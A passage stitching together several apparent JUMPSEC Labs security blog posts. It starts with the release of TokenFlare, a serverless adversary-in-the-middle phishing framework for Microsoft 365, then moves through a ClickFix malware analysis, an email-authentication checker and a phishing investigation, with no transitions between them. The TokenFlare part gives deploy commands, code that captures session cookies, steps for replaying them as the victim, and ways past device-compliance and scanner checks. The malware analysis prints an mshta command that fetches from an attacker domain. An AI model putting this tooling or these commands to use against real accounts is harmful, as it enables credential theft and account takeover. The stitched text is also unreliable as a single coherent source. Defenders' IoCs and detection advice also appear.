That ratio felt off. Over the past 18 months, our team has run entire red team engagements without ever touching a user’s endpoint. No C2, no beacon. Just creds, session cookies, and the Graph API. Threat actors have figured this out too-Midnight Blizzard didn’t need a binary payload to compromise Microsoft themselves.

Today, we’re releasing TokenFlare, a serverless Adversary-in-the-Middle (AiTM) phishing framework for Entra ID / M365, to help close that gap. It’s the tool our team at JUMPSEC has used internally for over a year across 15+ adversarial engagements. We’re open-sourcing it because we believe the barrier to entry for legitimate security testing shouldn’t be higher than it is for the criminals selling plug-and-play phishing kits on dark web forums.

We actually released it on main stage at BSides London last Saturday to what I’d describe as roaring approval. (Full disclosure: most of the roaring came from our own team in the audience.)

GitHub: https://github.com/JumpsecLabs/TokenFlare

TL;DR – Get Started in Under a Minute

For those who want to dive straight in:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 0. Clone the repo. 
# Dependencies - python3.7+, Node.js 20+, and globally installed Wrangler CLI
git clone https://github.com/JumpsecLabs/TokenFlare.git

# 1. Initialise for your domain - this domain is for deploying on your VPS
python3 tokenflare.py init yourdomain.com

# 2. Configure your campaign (interactive wizard)
python3 tokenflare.py configure campaign

# 3. Set up CloudFlare credentials - i.e. for deploying on Cloudflare
python3 tokenflare.py configure cf

# 4. Deploy to CloudFlare Workers
python3 tokenflare.py deploy remote

# 5. Check your lure URL
python3 tokenflare.py status --get-lure-url

That’s it. Working AiTM infrastructure, with SSL, bot protection, and credential capture to your webhook of choice. The rest of this post explains why we built it, how it works, and what blue teams should look for.

Why Release This Now?

If you work in threat intelligence, you’ll know AiTM phishing kits are commoditised on underground forums - accessible to anyone with cryptocurrency and a Telegram account. Workers.dev is already a popular choice for threat actor infrastructure. We’re not introducing anything novel; we’re giving authorised testers the same capabilities.

Meanwhile, legitimate security practitioners often wrestle with complex, temperamental frameworks just to get infrastructure running. To me as a red teamer, fighting with my tooling is probably not what creeates the most value for my client. I’d rather spend my time in crafting compelling pretexts and demonstrating gaps in people, process, and technology if I could.

I’d like to level the playing field for the open security community.

The TokenFlare Origin Story

Before the serverless stack, setting up AiTM phishing infrastructure was genuinely painful. It used to take us one to two consultant-days of setup time for a single campaign. Phishlets (that other people wrote) were hit-and-miss. Credential capture worked reliably enough, but getting the post-authentication redirect to behave? That was where hours disappeared.

I once gave a 40-minute internal technical talk just to document all the learnings and gotchas for setting up our previous framework properly. I’ll be honest - I never wanted to watch that recording myself. The tool was fighting us at every turn when all we wanted was to create an interesting, client-branded campaign.

Now that I’ve thought about the problem deeply, I think it lies in the fact that traditional AiTM frameworks needed to be everything: web server, campaign configurator, credential store, and campaign manager all in one monolithic binary. It’s a lot of complexity for what is fundamentally a reverse proxy with some cookie interception.

Let’s Go Serverless

The breakthrough came when we asked: what if we went serverless?

Cloud providers like CloudFlare already handle SSL termination, load balancing, CDN, bot protection, anti-DDoS, and global routing. If we let them do the infrastructure heavy lifting, our code could focus purely on the AiTM logic itself.

Zolderio proved this was viable with a prototype proof-of-concept: a working AiTM reverse proxy for Entra ID in just 174 lines of JavaScript. That prototype evolved into our v0.1 internal worker, which we used in production operations for months. The core logic was around 250-300 lines.

Dave @Cyb3rC3lt built out our v1 production worker, adding the operational features we needed. For a while, our workflow was: edit the worker JavaScript, paste it into the CloudFlare dashboard, click deploy. It worked, but it wasn’t infrastructure-as-code, and the browser-based developer experience was horrid if I’m being generous.

From Dashboard to CLI

The evolution continued. We discovered Wrangler - CloudFlare’s CLI tool - which meant we could run Workers locally for testing and deploy remotely with a single command. Configuration moved to a wrangler.toml file. Suddenly we had version control, repeatable deployments, and a much better developer experience.

But there was still friction. New team members needed to understand Wrangler commands, know which variables to tweak, and remember the deployment workflow. I wrote documentation, but documentation isn’t the same as a tool that guides you through the process.

TokenFlare is that tool: a Python CLI wrapper that handles dependency checks, interactive campaign configuration, SSL certificate management, and deployment - while still letting experienced operators drop into the raw worker code and toml file when they need to.

The result? In 2025, our new adversarial simulation consultants can spin up working phishing infrastructure in under an hour with the manual stack. With TokenFlare’s interactive wizard, I expect that to shrink to minutes - or even sub-minute for operators who know what they want.

How Does TokenFlare Compare?

There are established AiTM frameworks out there - Evilginx, Modlishka, and others. Here’s where TokenFlare differs:

TokenFlare is purpose-built for Entra ID phishing simulations where speed and simplicity matter. If you need to target non-Microsoft identity providers or want a full campaign management UI, the established tools may serve you better.

How TokenFlare Works

The Serverless AiTM Concept

The core concept is straightforward:

1. User clicks your lure URL and hits the TokenFlare Worker, which runs the 530 lines of JavaScript in worker.js
2. Worker initiates an OAuth2 authorization flow against login.microsoftonline.com
3. User sees Microsoft’s legitimate login page (with your client branding if configured)
4. User enters credentials and completes MFA
5. Microsoft returns session cookies (ESTSAUTH, ESTSAUTHPERSISTENT) to the Worker
6. Worker captures and forwards credentials/cookies to your webhook
7. User is redirected to a legitimate destination (e.g., the real SharePoint site they expected)

All the TLS, routing, and edge infrastructure is handled by CloudFlare. Your Worker is just ~530 lines of JavaScript focused on the proxy logic and credential interception.

The core capture logic is straightforward. When Microsoft returns session cookies after successful authentication, we grab them:

1
2
3
4
5
6
7
8
9
10
11
// Cookie capture - notify on auth cookies
const cookiesSet = getSetCookies(outHeaders);
for (const cookie of cookiesSet) {
  if (cookie.includes('ESTSAUTH=')) {
    for (const secondCookie of cookiesSet) {
      if (secondCookie.includes('ESTSAUTHPERSISTENT=')) {
        await notifyCookies(cfg.webhookUrl, cookie + '\n\n' + secondCookie, log);
      }
    }
  }
}

That’s it. When both ESTSAUTH and ESTSAUTHPERSISTENT cookies appear in the response, they’re forwarded to your webhook. Credentials from POST bodies and authorization codes from redirect URLs are captured similarly.

On a recent engagement against a global retail brand, we deployed TokenFlare at 9am. By lunchtime we had valid session cookies for three users, including one from engineering. The CAP required compliant devices - we used the macOS UA spoof. Total infrastructure time: 15 minutes.

What To Do With Captured Cookies

Once you have ESTSAUTH and ESTSAUTHPERSISTENT cookies, turning them into an authenticated session is straightforward. Screenshot below showing cookies and creds coming into our Slack channel around 9:05, we will also look at the Entra log for the same auth later.

1. Open a fresh browser (or incognito window) with no existing Microsoft sessions
2. Navigate to any M365 service - office.com works well
3. Click sign in and let it redirect you to login.microsoftonline.com
4. Open DevTools, clear the existing cookies for that domain
5. Import your captured ESTSAUTH and ESTSAUTHPERSISTENT cookies
6. Refresh the page - you’re now authenticated as the victim

From that “hot” browser session, your options open up: dive into SharePoint for sensitive documents, use TokenSmith to redeem access and refresh tokens, or run GraphRunner with device code sign-in for full post-exploitation capabilities.

Local vs Remote Deployment

TokenFlare supports two deployment modes:

Local deployment runs the Worker on your VPS using Wrangler’s local dev server. You’ll need to configure SSL certificates (TokenFlare can automate this via Certbot) and point your domain’s DNS to your server. This is great for testing and for scenarios where you want full control.

1
2
sudo python3 tokenflare.py configure ssl
sudo python3 tokenflare.py deploy local

Remote deployment pushes the Worker to CloudFlare’s global edge network. Your domain uses CloudFlare’s nameservers, and everything runs on their infrastructure. This is the production deployment mode for most engagements.

1
2
python3 tokenflare.py configure cf
python3 tokenflare.py deploy remote

A Note on CloudFlare Terms of Service

Using CloudFlare’s services to phish third parties - even for authorised testing - may violate their ToS. We’re not lawyers, but we want to be upfront: if you deploy to CloudFlare Workers and something goes wrong, your account could be suspended.

Options to consider:

• Local deployment is ToS-safe - you’re running Wrangler on your own infrastructure
• Dedicated CF accounts for engagements keep your production account separate

Consider yourself warned. Don’t email us if you get an abuse notice on your prod account!

Built-in OpSec & Campaign Customisation

Bot and Scraper Blocking

TokenFlare includes built-in blocking for known bots, scrapers, and security scanners. The defaults block:

• User-Agent substrings: googlebot, bingbot, bot, and other crawler signatures
• AS organisations: Google proxy, Digital Ocean, and other hosting/proxy providers
• Mozilla heuristic: Requests without Mozilla/5.0 in the UA are rejected (filters most automated scanners)

This list exists because we learned the hard way. Early campaigns using Zolderio’s prototype got burned within 30 minutes - security vendors crawled the lure URL and the domain was flagged. We collected the IPs, ASNs, and User-Agents that hit us and built the blocklist from real-world data. It’s battle-tested across 15+ engagements. If something new starts burning campaigns, we update it.

The ‘Common’ Trick for Client Branding

Getting the target organisation’s branding on the Microsoft login page is trivial with the /common/ endpoint:

1
login.microsoftonline.com/client.domain/oauth2/v2.0/authorize...

Replace common with the target’s domain, and Microsoft helpfully displays their logo and colour scheme. TokenFlare’s configure campaign wizard handles this for you.

Conditional Access Policy Considerations

Conditional Access Policies are the core of Entra ID’s perimeter defence. The AiTM server needs to satisfy the CAP requirements - if it doesn’t, no valid session cookies get minted. TokenFlare supports several approaches:

User-Agent Manipulation

Many organisations have CAPs that enforce compliant Windows devices but allow unmanaged iOS or macOS for flexibility. TokenFlare lets you control the User-Agent sent to Microsoft:

1
2
# In wrangler.toml - spoof as iOS Safari
CUSTOM_USER_AGENT = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15"

If the target CAP allows unmanaged iOS devices, you satisfy the policy and get valid tokens - even though the victim authenticated from their Windows machine.

Intune Compliant Device Bypass

For environments requiring Intune-compliant devices, TokenFlare supports the bypass we documented in TokenSmith. The Intune Company Portal uses a specific client ID (9ba1a5c7-f17a-4de9-a1f1-6178c8d51223) and redirect URI that bypasses compliant device checks - because Microsoft can’t require a device to be compliant before it enrols.

The OAuth flow uses:

1
2
client_id=9ba1a5c7-f17a-4de9-a1f1-6178c8d51223
redirect_uri=ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-...

Configure this in TokenFlare via configure campaign and you can obtain tokens that would normally require a compliant device. The tokens are part of Microsoft’s “Family of Client IDs” (FOCI), meaning they can request access tokens for other resources like MS Graph.

If we configure the flow to use the Intune bypass, the user would be taken to an Intune OAuth flow instead. On a plain Entra signin page we’d expect to see the “Intune” logo, but here it’s very conveniently blocked by client branding. Here we see the marty user demo-ing signing in.

IoCs for Blue Teams

Full transparency - the indicators exist because we put them there. TokenFlare is designed for authorised testing, and we want blue teams to be able to identify it easily, at least when the operator is not deliberately trying to be stealthy (or is relatively unsophisticated).

Intentional Indicators (Easy Mode)

In your Entra ID sign-in logs, look for:

1
2
Header:     X-TokenFlare: Authorised-Security-Testing
User-Agent: TokenFlare/1.0 For_Authorised_Testing_Only

Also watch for:

• workers.dev domains in email links - which is a TI-backed recommendation, going beyond TokenFlare.
• Default URL parameters - the default lure path uses verifyme?uuid= structure
• CloudFlare ASN (AS13335) - authentication requests originating from CloudFlare’s IP ranges

If you’re seeing these and don’t have an active red team engagement, something is wrong.

Beyond the Breadcrumbs

The intentional IoCs above won’t help you catch threat actors who aren’t polite enough to announce themselves. For any AiTM attack against Entra ID, consider:

• Sign-in location vs session usage location mismatch - user authenticates from CloudFlare’s ASN (or AWS, Azure, etc.) but their session is used from a completely different location minutes later
• Impossible travel with valid sessions - authentication from one geography, immediate API access from another
• OAuth token requests for unusual client IDs - especially FOCI clients being used in ways that don’t match normal user behaviour
• High-volume sign-ins from hosting provider ASNs - legitimate users rarely authenticate from DigitalOcean or Cloudflare edge nodes

Our Detection & Response team is working on a companion blog post with specific KQL queries and detection strategies for AiTM attacks. Watch the JUMPSEC Labs blog for that.

Here you can see Marty’s earlier sign in ended up in the sign in logs with the IoC user agent. The flow he went through was indeed the Intune one, and the IP address he signed in with was indeed from Cloudflare’s ASN.

Advanced Use Cases & Future Development

TokenFlare is under active development. Current and planned features include:

• Better campaign management: More commands for existing infra, for example infra cf list, infra cf remove <worker>.
• Token redemption: The /oauth2/v2.0/token endpoint support for exchanging authorization codes for access and refresh tokens (WIP)
• Passkey downgrade attacks: Techniques for environments with FIDO2/passkey requirements
• Turnstile/reCAPTCHA integration: For scenarios requiring additional bot protection
• Static HTML responses: Custom landing pages before or after the Auth is complete, for if you’d not want to redirect the user away.
• Entra Terms of Use bypass: For environments with ToU acceptance requirements

Not all future features will be public - some will remain internal tooling - but we’ll continue developing the core framework openly.

Acknowledgements

TokenFlare wouldn’t exist without the contributions of several people:

• TE – For the debugging sessions, the teaching, and generally being an awesome human being throughout this project
• Dave @Cyb3rC3lt – For building our v1 internal production Worker that proved the concept at scale
• Zolderio – For the prototype PoC that started it all and showed us what was possible in under 200 lines of JavaScript
• The JUMPSEC Adversarial Simulation team – For battle-testing this across dozens of engagements and providing the feedback that shaped the tool

Final Words

TokenFlare represents a shift in how we think about phishing simulation infrastructure. The complexity should be in your pretext and social engineering, not in your tooling. Cloud providers have solved the hard infrastructure problems - let them do that work while you focus on demonstrating real security gaps.

If you’re a red teamer or penetration tester running phishing simulations, give TokenFlare a try. If you’re a defender, use the IoCs above to detect it - and consider whether your current detection capabilities would catch the less-friendly alternatives that don’t announce themselves.

GitHub: https://github.com/JumpsecLabs/TokenFlare

Questions, feedback, or war stories? Find me on Twitter/X at @gladstomych or reach out via sunnyc@jumpsec.com.

Disclaimer: TokenFlare is for authorised security testing only. Unauthorised use against systems you do not own or have explicit permission to test is illegal. Using CloudFlare’s services for penetration testing third parties may violate their terms of service - consider yourself warned.

ClickFix refers to a manipulative tactic where attackers trick users into clicking on malicious elements (links, buttons, pop-ups, or fake system alerts) under the guise of fixing a problem, such as a security issue, software error, or account access problem. This type of social engineering attack exploits human psychology by creating a sense of urgency or fear, pressuring victims into taking immediate (but harmful) action.

Stage 1 – Injection with malicious Base64 Blob

In the first stage, the “reCAPTCHA” window looks no different than usual. However, it prevents the user from interacting with the website, forcing them to click the checkbox. Afterward, it displays the “ClickFix” window. Following the steps from the “ClickFix” window leads to a command: mshta.exe https[:]//check[.]bibyn[.]icu/gkcxv[.]google?i=xxxxxxxxxx # Нυmаn, nоt а гοbоt: ϹΑРТСНА Ⅴегіfіϲаtіоп ΙD:xxxx

As we can see the word “Ⅴегіfіϲаtіоп” is odd as the attacker used Russian to circumvent security controls based on IoC strings.

Figure 1 – Fake reCAPTCHA

Figure 2 – Fake ClickFix

The malicious code was embedded into the webpage as a Base64 blob, making it obviously when checking the page source code.

Figure 3 – HTML contains Base64-encoded blob in script tag

I attempted to decode the Base64-encoded blob, but unfortunately, the codes appear to be heavily obfuscated JavaScript. The most important parts are the asynchronous function, as shown in Figure 5.

Figure 4 – Obfuscated Codes

Figure 5 – Deobfuscated Asynchronous functionwha

The ‘isWindows’ variable checks if the victim is using Windows via ‘navigator.userAgent’. I tested this in a Linux environment: the windows shown in Figure 1 and Figure 2 did not pop up, although the embedded Base64-encoded blob could still be found in the web page source code. If the system is Windows, the script proceeds to execute the asynchronous ‘load_()’ function.

const isWindows = /Windows NT/.test(navigator.userAgent); if (isWindows) { load_(); }

Let’s look at the ‘load_()’ function. In this function, it connects to a Binance Smart Chain (BSC) testnet node (data-seed-prebsc-1-s1.xxxx.org:xxxx) and interacts with a suspicious smart contract (0x80d31D935f0…) using an Ethereum RPC call (eth_call). The script fetches hex-encoded data from the contract, decodes it into raw bytes, and extracts a hidden payload stored on the blockchain. After determining the payload’s offset and length, it decodes the data from Base64 (using atob) and dynamically executes it with eval, allowing arbitrary client-side JavaScript code execution on the victim’s browser.

I also made a request to the BSC smart contract, and from the “result” field in the response, we can see that the first 32 bytes after 0x represent an offset pointer, and the next 32 bytes represent the length of the payload.

Figure 6 – Result of calling BSC smart contract

Stage 2 – JavaScript Payload

After decoding the payload from hex to Base64 and then decoding the Base64, the payload contains JavaScript functions along with some Base64 blobs. Upon decoding, the Base64 blobs reveal the HTML, CSS, and JavaScript logic for the fake “reCAPTCHA” and “ClickFix” mentioned at the beginning of this blog.

Figure 7 – Decoded Base64 Payload

Figure 8 – Decoded payload from Base64

Figure 9 – Clear Payload JS

The ‘setCookie(e, t, n)’ function is used to create or update a cookie with a specified name, value, and an optional expiration time. The e parameter represents the name of the cookie, and ‘t’ is the value to store in the cookie. If it is empty, the cookie value will be set to an empty string. The ‘n’ parameter specifies the number of days until the cookie expires. If ‘n’ is null, the cookie becomes a session cookie, meaning it will expire when the browser is closed. The cookie is set in the format ‘[name]=[value]; expires=[date]; path=/’, where ‘path=/’ ensures the cookie is accessible across all pages on the domain.

Figure 10 – setCookie func

‘getCookie(e)’ function retrieves the value of a specific cookie by its name. It searches through all available cookies, decodes the value and returns it if found.

Figure 11 – getCookie func

‘getUserID’ function attempts to retrieve an existing user Id from the “csj_id” cookie, if none exists, generating a new UUIDv4 and storing it in a cookie and returning it. It also maintain the same ID across browser sessions for 2 days.

Figure 12 – getUserID func

‘generateUUIDv4’ function generates a random UUID (Universally Unique Identifier) version 4 compliant with RFC 4122.

Figure 13 – generateUUIDv4 func

The ‘isGoalReached()’ function makes a call to a different Binance Smart Chain (BSC) contract address (0x7d0b5A06Fxxxxxxxxx) than the one mentioned earlier in this blog. This function checks whether the BSC contract has a record for the victim’s UUID. If such a record exists, it means the victim has run the malicious command: “mshta.exe https[:]//check[.]bibyn[.]icu/gkcxv[.]google?i=xxxxxxxxxx # Нυmаn, nоt а гοbоt: ϹΑРТСНА Ⅴегіfіϲаtіоп ΙD:xxxx” which was described at the beginning. As highlighted in the code, this function returns “True” or “False” based on whether the record is found. As seen in the ‘stageClipboard()’ function, ‘isGoalReached()’ is called every second. If ‘isGoalReached()’ returns “True,” the function removes the fake reCAPTCHA and ClickFix windows, then displays the legitimate website contents. As mentioned earlier in this blog, the victim is prevented from interacting with the website until they complete the fake “reCAPTCHA” verification – that’s how it works!

Figure 14 – isGoalReached func

Figure 15 – stageClipboard func

Another interesting aspect involves the ‘isGoalReached()’ function, which triggers a conditional tracking mechanism when the victim fails to complete the fake reCAPTCHA verification process, as determined by ‘isGoalReached()’. When verification fails, it first modifies the display properties of the container holding the HTML, CSS, and JavaScript logic for the fake reCAPTCHA and ClickFix windows. The script then dynamically loads the Yandex Metrika analytics script to monitor “click tracking,” “link interaction logging,” and “bounce rate measurement.” This implementation suggests that the attacker is likely interested in analysing and recording the behaviour of suspicious visitors or potential bots, as legitimate victims who pass verification would bypass this tracking entirely.

Figure 16 – Yandex Tracking

Figure 17 – Container for reCAPTHA/ClickFix Windows

The ‘commandToRun’ variable holds the command injected into the victim’s clipboard. As we can see, this command is different from the command: “mshta.exe https[:]//check[.]bibyn[.]icu/gkcxv[.]google?i=xxxxxxxxxx # Нυmаn, nоt а гοbоt: ϹΑРТСНА Ⅴегіfіϲаtіоп ΙD:xxxx”. At the time I began investigating and downloaded the payload, two weeks had passed since I first encountered the compromised website and the malicious Base64 blob in stage 1. This observation suggests that the threat actor actively modifies the malicious commands over time. In both cases, the commands include a UUID.

Figure 18 – commandTorun

The two BSC contracts mentioned in this blog were created on December 8, 2024, at 10:13:07 PM UTC and December 19, 2024, at 06:14:56 PM UTC. As of the time of writing (April 26, 2025), I checked the blockchain explorer and found that there are still incoming transactions to these two BSC contract addresses, indicating that the attack is still active in the wild.

Figure 19 – Transactions of BSC 1

Figure 20 – Transactions of BSC 2

Is the phishing finished? No, it’s just getting started! The investigation of stage 1 and stage 2 will conclude here, but I will publish another blog soon that dives into how the malicious commands found in this blog lead to what kind of malware.

Recommendations for WordPress Websites owners

• Review all theme/plugin files (especially header.php, footer.php) for Base64-encoded blobs.
• Restore clean backups if compromises are found, verify backups are free of injected code before restoring.
• Monitor suspicious blockchain-related connections
• Review suspicious commands that contains the malicious links mentioned in this blog.

IOCs Tracking

Since both malicious domains in the two malicious commands have the same malicious file, I did a search to find any other domains containing the same malicious file and discovered 69 domains. All of these domains were registered in April.

Figure 21 – bibyn[.]icu

Figure 22 – dafeq[.]icu

IOCs

bojut[.]press (104.21.85[.]163)

tahip[.]press (104.21.51[.]2)

farav[.]press (104.21.15[.]206)

biwiv[.]press (172.67.169[.]223)

becel[.]press (104.21.58[.]223)

tafoz[.]press (104.21.4[.]71)

cabym[.]press (172.67.155[.]53)

zipuk[.]press (104.21.4[.]99)

qeqek[.]press (172.67.205[.]184)

matur[.]press(172.67.210[.]89)

vekeq[.]icu (104.21.64[.]1)

pybal[.]icu (104.21.16[.]1)

vogos[.]press (104.21.16[.]1)

cogov[.]press (104.21.48[.]1)

kenut[.]press (104.21.94[.]77)

habyg[.]press (104.21.1[.]119)

lizyf[.]top (172.67.147[.]11)

sylaj[.]top (172.67.223[.]186)

muhoj[.]top (104.21.17[.]72)

rugyg[.]top (172.67.198[.]6)

napiv[.]press (104.21.32[.]1)

bobab[.]press (104.21.96[.]1)

xuvyc[.]top (104.21.17[.]89)

kuqob[.]top (172.67.183[.]157)

vezof[.]press (104.21.112[.]1)

hikig[.]press (104.21.80[.]1)

qegyx[.]press (104.21.32[.]1)

pypim[.]icu (104.21.3[.]234)

lupuj[.]icu (172.67.139[.]97)

jahoc[.]icu (172.67.180[.]251)

wunep[.]icu (172.67.220[.]144)

pepuq[.]icu (104.21.83[.]40)

gyner[.]icu (104.21.52[.]197)

tazaz[.]icu (104.21.48[.]1)

hobir[.]icu (104.21.48[.]1)

hylur[.]icu (104.21.80[.]1)

rocyg[.]icu (104.21.47[.]253)

vynen[.]icu (104.21.17[.]99)

gutom[.]icu (104.21.76[.]147)

cuxer[.]icu (104.21.64[.]1)

gubuj[.]icu (104.21.19[.]188)

piver[.]icu (172.67.167[.]45)

ginoz[.]icu (172.67.147[.]138)

vyzap[.]icu (172.67.183[.]195)

pebeg[.]icu (172.67.156[.]170)

dafeq[.]icu (172.67.188[.]123)

tycok[.]icu (172.67.161[.]196)

kasej[.]icu (172.67.163[.]83)

palid[.]icu (104.21.12[.]142)

junyk[.]icu (172.67.174[.]128)

nynoj[.]icu (172.67.192[.]141)

fukuq[.]icu (172.67.178[.]51)

mysyv[.]icu (172.67.136[.]91)

nuxul[.]icu (104.21.56[.]253)

juhup[.]icu (104.21.34[.]230)

nuwof[.]icu (104.21.24[.]9)

vaboz[.]icu (172.67.134[.]101)

buqoc[.]icu (172.67.176[.]187)

pivum[.]icu (172.67.193[.]161)

faqyw[.]icu (172.67.210[.]146)

carin[.]icu (172.67.210[.]237)

check[.]letoq[.]icu (104.21.44[.]51)

letoq[.]icu (104.21.44[.]51)

check[.]pivum[.]icu (172.67.193[.]161)

check[.]carin[.]icu (172.67.210[.]237)

check[.]pikip[.]icu (172.67.142[.]86)

pikip[.]icu (172.67.142[.]86)

check[.]juket[.]icu (104.21.32[.]239)

juket[.]icu (104.21.32[.]239)

kajec[.]icu (104.21.32[.]171)

pejel[.]icu (104.21.5[.]91)

check[.]pejel[.]icu (104.21.5[.]91)

• SPF (Sender Policy Framework) allows domain owners to define which mail servers are authorised to send on their behalf.
• DKIM (DomainKeys Identified Mail) ensures email integrity by attaching cryptographic signatures to outgoing messages.
• DMARC (Domain-based Message Authentication, Reporting and Conformance) enables domain owners to instruct how unauthenticated mail should be handled, and provides reporting for monitoring abuse.

These mechanisms have long been recommended, but enforcement across the email ecosystem has been inconsistent in our experience, when reviewing M365 configurations for clients in many industries.

Microsoft’s Enforcement Shift

This article is not intended as a guide to strengthening your organisation’s email security from first principles. If you’re looking for detailed, practical advice on that front, we recommend reading this post by my colleague Pat, on bullet-proofing your email gateway.

Instead, this time we wanted to focus on a specific upcoming change: Microsoft’s enforcement of new requirements for email authentication and the potential operational implications it carries.

From 5th May 2025, new requirements for high-volume email senders will be enforced targeting Outlook.com recipients. According to Microsoft’s announcement, organisations sending more than 5,000 messages per day must:

• Authenticate email using SPF, DKIM, and DMARC.
• Publish a DMARC policy of p=quarantine or p=reject—this means p=none will not suffice anymore.
• Support one-click unsubscribe on bulk messages (in line with RFC 8058).
• Maintain a spam complaint rate below 0.3%.

Microsoft will start enforcing these requirements gradually, beginning with consumer domains, and eventually extending to enterprise scenarios. The move is intended to reduce spam, improve email trustworthiness, and promote industry-wide adoption of email authentication best practices. This enforcement from Microsoft seem to align with similar initiatives by Google and other major providers.

The Practical Challenge & JUMPSEC’s Response

For many IT and security teams, managing SPF, DKIM, and DMARC across multiple domains and services is complex. Vendors and cloud platforms often introduce their own sending infrastructure, and maintaining accurate records with correct policies can be labour-intensive. Additional complications arise from:

• Recursively included SPF records and domain-level redirections
• DKIM selectors not being published properly
• DMARC reports not being reviewed or misconfigured rua/ruf addresses

Moreover, this isn’t a one-time task. Mail infrastructure changes frequently. Ongoing validation and visibility are critical.

I recently developed a tool that can tackle the operational reality of domain authentication at scale, and can assist organisations in navigating this shift. Allow me to introduce the Asynchronous Mail Checker, a free and open-source utility written in Python, designed to make large-scale validation of SPF, DKIM, and DMARC both fast and accessible.

Asynchronous Mail Checker is a Python-based tool that performs asynchronous DNS checks for SPF, DKIM, and DMARC across any number of domains. Built with operational efficiency in mind, it uses aiodns for fast parallel queries and a Streamlit-based interface for intuitive inspection.

Asynchronous Email Checker dashboard!

What It Does

• Performs non-blocking DNS queries for SPF, DKIM, and DMARC
• Recursively resolves and parses SPF includes and redirects
• Checks for common DKIM selectors across services
• Analyses DMARC policy strength, rua, ruf, fo, and alignment settings

Reporting and Visualisation

• Matrix view showing protection status for each domain
• DMARC policy charts, FO distributions, and authentication gaps
• Historical trend graph, built from CSV-backed scan records, to track posture improvement
• CSV export for audit, compliance, and internal reviews

Records matrix and high-level analysis out of the box, to identify gaps at a glance.

Charts, graphs and historical trends canbe shown when selected in the menu, visually organising the data off the scans.

How to Use It

Follow the guidance in the repository (https://github.com/JumpsecLabs/AsyncMailChecker) to clone and setup the app, then:

• Run the app

streamlit run AsyncMailChecker.py --server.headless true --server.address "<host ip>"

• Upload a line separated .txt list of domains
• Configure SPF recursion depth, DNS timeouts, retries, and concurrency
• Run DNS Checks and review the data!

Conclusions

Microsoft’s new rules are no longer a proposal—they’re being enforced in the near timeframe of May 2025. Without the appropriate records and policies in place, legitimate business email will begin to suffer from delivery failures. For organisations with complex mail infrastructures or third-party dependencies, having visibility is non-negotiable.

Async Mail Checker allows teams to:

• Validate email authentication posture at scale
• Catch misconfigurations or omissions early
• Improve deliverability and align with the new baseline standards

The tool is available now via GitHub:

👉 https://github.com/JumpsecLabs/AsyncMailChecker

We encourage the community to use it and ensure your organisation’s domains are secure, compliant, and trusted when delivering emails.

Furthermore, we are also releasing additional tooling that parses and analyses mail transport rules in Exchange Online. They can be used in tandem to have optimal visibility of what’s going on with your mail transport rules in Exchange Online.

These can be found within JUMPSEC Labs GitHub repositories, namely:

https://github.com/JumpsecLabs/ExchangeOnline-MTR_Domains – A PowerShell script that analyses approved and rejected domains specified via Mail Transport Rules in Exchange Online, leveraging the ExchangeOnline PowerShell Module.

https://github.com/JumpsecLabs/MTR-Analyser – A PowerShell script that analyses Mail Transport Rules leveraging the Exchange Online PowerShell Module.

This alert was triggered by a series of phishing emails targeting individuals with lures presenting a common theme. In this LABS post, I’ll walk you through the investigation, how we pieced together several bits of information to figure out the tactics and infrastructure used by the attackers, and the steps taken to mitigate the threat.

Incident Overview

Microsoft Defender XDR (eXtended Detection and Response) triggered the alert that four emails matched our alert policy relating to “malicious URL that were delivered and later removed”.

Using the “Email Preview” feature in Defender, I was able to see that all the phishing emails shared a common theme: health products. These emails were designed to trick victims potentially concerned about their health, into clicking malicious links.

Email Lures

Figure 1. Email from Healthsource

Figure 2. Email from GuideVital

Figure 3. Email from HealthGuide

Figure 4. Email from HealthJourney

The Attack Chain

The phishing campaign followed a multi-stage process designed to deceive victims and extract sensitive information (e.g. bank details, account credentials, etc.). The first step involved sending users health-related emails, which contained malicious links. When a victim clicks the malicious link, they are redirected to a page displaying a “Human Verification Check.”

Such web page was hosted on a domain that matched the sender’s domain, such as reply[@]guidevital[.]za[.]com, adding a layer of legitimacy to the scam.

Figure 5. Human Verification page from GuideVital

After completing the verification step, victims were redirected to a shopping website presenting the domain gluco6[.]com, which was used for phishing. The website was designed to mimic a legitimate online store, complete with product listings and shopping cart functionality.

Figure 6. Phishing Shopping Website with Gluco6

Clicking the “ADD TO CART” button redirected users to a payment page hosted on clickbank[.]net, a legitimate online marketplace often leveraged by scammers. This final step was intended to trick victims into entering their payment details, making them believe that they were making a legitimate purchase.

Figure 7. Payment page with PayPal from ClickBank

Figure 8. ClickBank Website

Additional Phishing Emails

Another set of emails from info[@]healthsource[.]sa[.]com followed a similar pattern to the one above, redirecting users to a shopping website with the domain enkielixir[.]com.

Figure 9. Human Verification page from HealthSource

During the investigation, I identified 10 additional emails originating from the same phishing domains. These emails were promptly flagged by Microsoft Defender as High likelihood of Phishing and were quarantined. This action ensured that recipients could not access the malicious links or phishing websites while investigating. To further mitigate the threat, I then blocked all associated malicious domains, including the sender domains and the scam shopping websites.

This proactive measure helped prevent further exposure to the phishing campaign and disrupted the scammer’s operations.

Threat Hunting

Following the investigation, it was critical to ensure that no threat actors managed to compromise sensitive data and an in-depth hunt was in order. In this section, we are going to delve into the investigative steps taken to uncover the infrastructure behind the phishing campaign.

By analysing shared host keys, IP addresses, and network behaviours, we were able to identify connections between multiple sender domains and confirm that they were operated by the same threat actor. This section also outlines the actions taken to block malicious IPs and domains, preventing further phishing attempts.

Unlike reactive security measures that wait for alerts to trigger, high-quality threat hunting is proactive, seeking to identify threats before they cause significant damage.

Uncovering the attacker’s Infrastructure

Our investigation began with the assumption that all the sender domains were owned by the same scammer, as they shared same email themes.

To validate this, we started by checking the IP address of one of the sender domains, healthsource[.]sa[.]com. We discovered that it was hosted on 23[.]94[.]153[.]80

Figure 10. IP of Healthsource Domain

Further investigation revealed a shared host key (9eb62e29c1e17d77f010a65efe2cb2b21782e38da013af2dfc2ff36f8f508a6f) across 25 hosts. This finding was significant because it suggested that such hosts were likely controlled by the same individual or organization.

Figure 11. Host Key Information from Censys

Figure 12. List of 25 Hosts sharing the same key

Among these 25 hosts, we found the three sender domains identified by the alert, confirming our initial assumption. This discovery allowed us to connect the dots and understand the broader infrastructure used by the malicious actor.

Figure 13. Sender domain HealthGuide info

Figure 14. Sender domain HealthJourney Info

Figure 15. Sender domain GuideVital Info

To mitigate the threat, we blocked all 25 malicious IP addresses associated with these hosts. This action prevented further phishing attempts from these IPs and likely disrupted the scammer’s operations.

